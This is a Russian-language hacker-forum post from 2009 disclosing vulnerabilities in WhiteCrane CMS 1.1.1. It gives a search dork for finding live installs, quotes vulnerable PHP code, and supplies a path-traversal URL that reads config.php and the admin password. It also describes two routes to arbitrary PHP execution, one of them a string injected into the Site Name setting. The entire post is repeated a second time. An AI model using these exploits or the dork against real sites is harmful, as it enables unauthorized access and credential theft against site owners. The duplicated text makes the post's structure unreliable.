Iceangel_
19.04.2009, 18:33
Уязвимости WhiteCrane 1.1.1 (возможно и более ранние версии)
download: http://dev.ameoto.com/whitecrane111.zip
dork: "Powered by WhiteCrane"
1) [произвольное чтение файлов] (требования: register_globals=on)
/paper/plugins/viewsource.php
разработчик не учел возможность прямого доступа к скрипту и не защитил его от несанкционированного доступа
уязвимый код:
function viewsrc($page, $config){
if(isset($_REQUEST['act']) && $_REQUEST['act'] == "View Source"){
$full = $config["path"] . $page . $config["ext"];
if(file_exists($full)){
$contents = file_get_contents($full);
//$contents = htmlspecialchars($contents);
echo '<h2>View Source <span style="font-size:x-small"><a href="?page='.$page.'">back</a></span></h2>';
echo '<textarea name="message" id="canvas" rows="24">'.$contents.'</textarea>';
}
}
}
viewsrc($page, $config);
эксплуатирование:
Читаем конфиг сайта для последующего доступа к админ панели
http://localhost/hack/white/paper/plugins/viewsource.php?act=View+Source&page=../config.php
$user['admin'] = '12345'; //сам логин и пароль к админке
1) [произвольное выполнение php-кода] (требования: доступ в админ панель)
эксплуатирование:
1)через правку страницы
В данной CMS страницы сохраняются с расширением .php, позволяя нам их впоследствии интерпретировать. Дописываем любой php-код к странице (пример /index.php?page=home), и обращаемся к скрипту напрямую /pages/home.php
2)через правку конфига
Значения переменных при записе в конфиг, никаким образом не фильтруется, позволяя нам выполнить произвольный php-код.
К примеру в поле Site Name: вбиваем My site'; $a=phpinfo(); //
И напрямую обращаясь к конфигу (/paper/config.php), видим результат.
download: http://dev.ameoto.com/whitecrane111.zip
dork: "Powered by WhiteCrane"
1) [произвольное чтение файлов] (требования: register_globals=on)
/paper/plugins/viewsource.php
разработчик не учел возможность прямого доступа к скрипту и не защитил его от несанкционированного доступа
уязвимый код:
function viewsrc($page, $config){
if(isset($_REQUEST['act']) && $_REQUEST['act'] == "View Source"){
$full = $config["path"] . $page . $config["ext"];
if(file_exists($full)){
$contents = file_get_contents($full);
//$contents = htmlspecialchars($contents);
echo '<h2>View Source <span style="font-size:x-small"><a href="?page='.$page.'">back</a></span></h2>';
echo '<textarea name="message" id="canvas" rows="24">'.$contents.'</textarea>';
}
}
}
viewsrc($page, $config);
эксплуатирование:
Читаем конфиг сайта для последующего доступа к админ панели
http://localhost/hack/white/paper/plugins/viewsource.php?act=View+Source&page=../config.php
$user['admin'] = '12345'; //сам логин и пароль к админке
1) [произвольное выполнение php-кода] (требования: доступ в админ панель)
эксплуатирование:
1)через правку страницы
В данной CMS страницы сохраняются с расширением .php, позволяя нам их впоследствии интерпретировать. Дописываем любой php-код к странице (пример /index.php?page=home), и обращаемся к скрипту напрямую /pages/home.php
2)через правку конфига
Значения переменных при записе в конфиг, никаким образом не фильтруется, позволяя нам выполнить произвольный php-код.
К примеру в поле Site Name: вбиваем My site'; $a=phpinfo(); //
И напрямую обращаясь к конфигу (/paper/config.php), видим результат.